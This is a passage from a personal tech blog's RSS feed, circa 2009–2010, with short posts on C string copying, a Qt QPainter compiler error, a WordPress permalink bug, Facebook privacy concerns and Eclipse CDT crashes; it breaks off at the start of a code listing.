&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-cpp&#34; data-lang=&#34;cpp&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;void&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;mycopy&lt;/span&gt;(&lt;span style=&#34;color:#ed8796&#34;&gt;char&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt;p, &lt;span style=&#34;color:#ed8796&#34;&gt;char&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt;q) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;while&lt;/span&gt;(&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt;p&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;++&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt;q&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;++&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Of course why would you write your own version when you have standard string copy fundtion &lt;a
	
		href = &#34;http://www.cplusplus.com/reference/clibrary/cstring/strcpy/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		strcpy
	&lt;/span&gt;
&lt;/a&gt; in &lt;code&gt;&amp;lt;string.h&amp;gt;&lt;/code&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Geek moment of the day</title>
      <link>/post/2010/01/geek-moment-of-the-day/</link>
      <pubDate>Fri, 15 Jan 2010 00:00:00 +0000</pubDate>
      
      <guid>/post/2010/01/geek-moment-of-the-day/</guid>
      <description>&lt;p&gt;(: ¿ɥǝ sıɥʇ sı looɔ ʍoɥ&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Qt Eclipse Integration</title>
      <link>/post/2010/01/qt-eclipse-integration/</link>
      <pubDate>Wed, 13 Jan 2010 00:00:00 +0000</pubDate>
      
      <guid>/post/2010/01/qt-eclipse-integration/</guid>
      <description>&lt;p&gt;If you are working in CDT and Qt then the &lt;a
	
		href = &#34;http://qt.nokia.com/developer/eclipse-integration&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Qt Eclipse Integration
	&lt;/span&gt;
&lt;/a&gt; is quite handy and in my opinion much better than using the standalone Qt designer. Installation is pretty straight forward as &lt;a
	
		href = &#34;http://qt.nokia.com/developer/eclipse-integration/installation-instructions-for-linux-systems&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		described here
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>A Song of Silicon Valley</title>
      <link>/post/2010/01/a-song-of-silicon-valley/</link>
      <pubDate>Mon, 11 Jan 2010 00:00:00 +0000</pubDate>
      
      <guid>/post/2010/01/a-song-of-silicon-valley/</guid>
      <description>&lt;p&gt;Ah, this brings back fond memories of my time in the valley – awesome! :)&lt;/p&gt;
&lt;p&gt;Credit goes to &lt;a
	
		href = &#34;http://bits.blogs.nytimes.com/2010/01/11/a-song-of-silicon-valley/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		this post
	&lt;/span&gt;
&lt;/a&gt; of the NY Times.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>‘QPainter painter’ has initialiser but incomplete type</title>
      <link>/post/2010/01/qpainter-painter-has-initialiser-but-incomplete-type/</link>
      <pubDate>Sun, 10 Jan 2010 00:00:00 +0000</pubDate>
      
      <guid>/post/2010/01/qpainter-painter-has-initialiser-but-incomplete-type/</guid>
      <description>&lt;p&gt;If you ever got an error something like [some-class] has initialiser but incomplete type, it basically means the compiler cannot understand the type and you need to add the include for it.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt;2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt;3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt;4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt;5&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-cpp&#34; data-lang=&#34;cpp&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;QPixmap &lt;span style=&#34;color:#8aadf4&#34;&gt;pixmap&lt;/span&gt;(&lt;span style=&#34;color:#f5a97f&#34;&gt;20&lt;/span&gt;,&lt;span style=&#34;color:#f5a97f&#34;&gt;10&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pixmap.fill(Qt&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;::&lt;/span&gt;white);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;QPainter &lt;span style=&#34;color:#8aadf4&#34;&gt;painter&lt;/span&gt;(&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;amp;&lt;/span&gt;pixmap);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;QPen &lt;span style=&#34;color:#8aadf4&#34;&gt;pen&lt;/span&gt;(Qt&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;::&lt;/span&gt;blue);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Take the code snipped above when you compile it you might get an error something along the lines of the following for line 4.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;‘QPainter painter’ has initialiser but incomplete type&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;To fix this you need to include the header file where QPainter is defined. The updated code looks like:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt;2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt;3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt;4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt;5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt;6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt;7&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-cpp&#34; data-lang=&#34;cpp&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#include&lt;/span&gt; &lt;span style=&#34;color:#6e738d;font-weight:bold;font-style:italic&#34;&gt;&amp;lt;qpainter.h&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;QPixmap &lt;span style=&#34;color:#8aadf4&#34;&gt;pixmap&lt;/span&gt;(&lt;span style=&#34;color:#f5a97f&#34;&gt;20&lt;/span&gt;,&lt;span style=&#34;color:#f5a97f&#34;&gt;10&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pixmap.fill(Qt&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;::&lt;/span&gt;white);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;QPainter &lt;span style=&#34;color:#8aadf4&#34;&gt;painter&lt;/span&gt;(&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;amp;&lt;/span&gt;pixmap);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;QPen &lt;span style=&#34;color:#8aadf4&#34;&gt;pen&lt;/span&gt;(Qt&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;::&lt;/span&gt;blue);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
</description>
    </item>
    
    <item>
      <title>Permalinks don&#39;t support quotes?</title>
      <link>/post/2010/01/permalinks-dont-support-quotes/</link>
      <pubDate>Sun, 10 Jan 2010 00:00:00 +0000</pubDate>
      
      <guid>/post/2010/01/permalinks-dont-support-quotes/</guid>
      <description>&lt;p&gt;I don&amp;rsquo;t know if this is a feature or a bug or a configuration issue either with WordPress itself or how the web server is configured where this blog is hosted. I just posted something about &lt;a
	
		href = &#34;http://desigeek.com/blog/amit/2010/01/10/qpainter-painter-has-initialiser-but-incomplete-type/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		compiler errors
	&lt;/span&gt;
&lt;/a&gt; where the permalink had a single quotes in its title like :  &lt;strong&gt;&amp;lsquo;qpainter-painter&amp;rsquo;-has-initialiser-but-incomplete-type&lt;/strong&gt;. While this was handled fine by WordPress (I could successfully preview the post as well), once it was published I got the generic 500 Internal Server Error as shown below. So the question is what is wrong (if anything)? What is the expected behaviour? The only way for me to fix it was by removing the single quote in the permalinks as now you can see in &lt;a
	
		href = &#34;http://desigeek.com/blog/amit/2010/01/10/qpainter-painter-has-initialiser-but-incomplete-type/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		the post
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;h2 id=&#34;internal-server-error&#34;&gt;Internal Server Error&lt;/h2&gt;
&lt;p&gt;The server encountered an internal error or misconfiguration and was unable to complete your request.&lt;/p&gt;
&lt;p&gt;Please contact the server administrator, [email-address-removed] and inform them of the time the error occurred, and anything you might have done that may have caused the error.&lt;/p&gt;
&lt;p&gt;More information about this error may be available in the server error log.&lt;/p&gt;&lt;/blockquote&gt;
</description>
    </item>
    
    <item>
      <title>WordPress ping list</title>
      <link>/post/2010/01/wordpress-ping-list/</link>
      <pubDate>Thu, 07 Jan 2010 00:00:00 +0000</pubDate>
      
      <guid>/post/2010/01/wordpress-ping-list/</guid>
      <description>&lt;p&gt;I updated the ping list for the blog based on the &lt;a
	
		href = &#34;http://www.prelovac.com/vladimir/wordpress-ping-list&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		suggestions from Vladimir
	&lt;/span&gt;
&lt;/a&gt; which I found via &lt;a
	
		href = &#34;http://codex.wordpress.org/Update_Services&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		WordPress&#39;s documentation site
	&lt;/span&gt;
&lt;/a&gt;. Not sure if it is of any help or not, but I guess I will find out.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Is it time to relook at Facebook again?</title>
      <link>/post/2010/01/is-it-time-to-relook-at-facebook-again/</link>
      <pubDate>Wed, 06 Jan 2010 00:00:00 +0000</pubDate>
      
      <guid>/post/2010/01/is-it-time-to-relook-at-facebook-again/</guid>
      <description>&lt;p&gt;I still don’t get Facebook – despite being on it. If I want to talk to someone I will call them, email them, text them, meet them, have dinner with them - get the picture?&lt;/p&gt;
&lt;p&gt;I am quite worried about the security and privacy elements of it – or rather the lack of it. Those who know me well (anyone?) :-) know I was not always this paranoid but after attending a few Security courses – I cannot bury my head in the sand anymore.&lt;/p&gt;
&lt;p&gt;The main issue I have is the commercialisation of the information and it will just get more as Facebook heads to compete with Google – it is my information after all and I don’t feel comfortable sharing so much of it – even after locking it down and setting the various privacy settings. It is very easy to exploit. Take the example where Facebook changed the settings where Google &lt;strong&gt;by default&lt;/strong&gt; would be indexing a lot of this information. And it is you and I as users who had to login and explicitly change a setting to stop it from doing that. Furthermore, despite all the &lt;a
	
		href = &#34;http://www.facebook.com/security&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		security measures
	&lt;/span&gt;
&lt;/a&gt; that Facebook might have in place (and they don’t mention how internally within the company walls is the information protected) all it takes is one disgruntled employee (or soon-to-be-ex-employee) to take it all and walk out the door!&lt;/p&gt;
&lt;p&gt;The secondary issue I have is the fact that more and more of the information, friends, contacts, etc is marketing and spam (a lot of what we see on Twitter as well). I personally am (thankfully) seeing much less spam on emails these days; but on the flip side I see a dramatic uptick of spam on social site. Not sure if this is because our email spam filters are finally smart enough to work, or perhaps the spammers found the social networking sites to be richer pickings?&lt;/p&gt;
&lt;p&gt;It is good to know &lt;a
	
		href = &#34;http://www.nytimes.com/2009/08/30/magazine/30FOB-medium-t.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		that there are others out there with the same concern
	&lt;/span&gt;
&lt;/a&gt; and with some sites such as &lt;a
	
		href = &#34;http://suicidemachine.org/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Suicide Machine
	&lt;/span&gt;
&lt;/a&gt; allow you to “all your energy sucking social-networking profiles, kill your fake virtual friends, and completely do away with your Web2.0 alterego” [&lt;em&gt;sic&lt;/em&gt;]. Of course, &lt;a
	
		href = &#34;http://news.bbc.co.uk/1/hi/technology/8441080.stm&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		all has not been peachy
	&lt;/span&gt;
&lt;/a&gt; for Suicide Machine at the same time. :-)&lt;/p&gt;
&lt;p&gt;If you are thinking like me and really giving it a go then suggest you &lt;a
	
		href = &#34;http://www.wikihow.com/Quit-Facebook&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		seek some help as well
	&lt;/span&gt;
&lt;/a&gt; to make it easier.&lt;/p&gt;
&lt;p&gt;The irony of all of this however is that I will be posting this it to my Facebook wall and also tweeting it.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Media Centre Pictures</title>
      <link>/post/2009/12/media-centre-pictures/</link>
      <pubDate>Thu, 31 Dec 2009 00:00:00 +0000</pubDate>
      
      <guid>/post/2009/12/media-centre-pictures/</guid>
      <description>&lt;p&gt;Sorry this took so long (been extremely busy lately), but &lt;a
	
		href = &#34;http://desigeek.com/blog/amit/2009/05/05/new-mce/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		as promised
	&lt;/span&gt;
&lt;/a&gt; here are pictures of the media centre during the various stages of being built. Clicking on the thumbnails below, will show you a larger version of the photos.&lt;/p&gt;
&lt;p&gt;Also given my &lt;a
	
		href = &#34;http://desigeek.com/blog/amit/2005/09/12/how-to-screw-up-your-mce/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		previous experience with the MCE
	&lt;/span&gt;
&lt;/a&gt;, the wife is always very sceptical whenever I say anything about &amp;lsquo;fixing&amp;rsquo; the MCE. Moral of the story (as I learned the hard way) the MCE is a &amp;lsquo;production&amp;rsquo; class machine which does not get touched without adequate planning with fall back options planned.&lt;/p&gt;
&lt;p&gt;Of course since I build this in the summer of 2009, I don&amp;rsquo;t suppose this is &amp;ldquo;new&amp;rdquo; anymore. :oops:&lt;/p&gt;
&lt;p&gt;[smugmug url=&amp;ldquo;&lt;a
	
		href = &#34;http://photos.bahree.com/hack/feed.mg?Type=gallery&amp;amp;Data=8166409&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		http://photos.bahree.com/hack/feed.mg?Type=gallery&amp;Data=8166409
	&lt;/span&gt;
&lt;/a&gt;_fqBhz&amp;amp;format=rss200&amp;rdquo; imagecount=&amp;ldquo;21&amp;rdquo; start=&amp;ldquo;1&amp;rdquo; num=&amp;ldquo;21&amp;rdquo; thumbsize=&amp;ldquo;Th&amp;rdquo; link=&amp;ldquo;lightbox&amp;rdquo; captions=&amp;ldquo;true&amp;rdquo; sort=&amp;ldquo;true&amp;rdquo; window=&amp;ldquo;false&amp;rdquo; smugmug=&amp;ldquo;false&amp;rdquo; size=&amp;ldquo;L&amp;rdquo;]&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Eclipse CDT Blues</title>
      <link>/post/2009/12/eclipse-cdt-blues/</link>
      <pubDate>Thu, 24 Dec 2009 00:00:00 +0000</pubDate>
      
      <guid>/post/2009/12/eclipse-cdt-blues/</guid>
      <description>&lt;p&gt;Sigh, why is Eclipse CDT to flaky? Well, there might be a slight exaggeration in that but nevertheless, I did not have so many issues with Visual Studio / VC++. :roll:&lt;/p&gt;
&lt;p&gt;I have uploaded this particular &lt;a
	
		href = &#34;http://desigeek.com/blog/downloads/amit/hs_err_pid20331.log&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		log file here
	&lt;/span&gt;
&lt;/a&gt; if anyone is interested.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt; 1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt; 2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt; 3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt; 4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt; 5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt; 6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt; 7&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;8&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#8&#34;&gt; 8&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;9&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#9&#34;&gt; 9&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;10&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#10&#34;&gt;10&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;11&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#11&#34;&gt;11&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;12&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#12&#34;&gt;12&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;13&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#13&#34;&gt;13&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;14&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#14&#34;&gt;14&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;15&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#15&#34;&gt;15&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
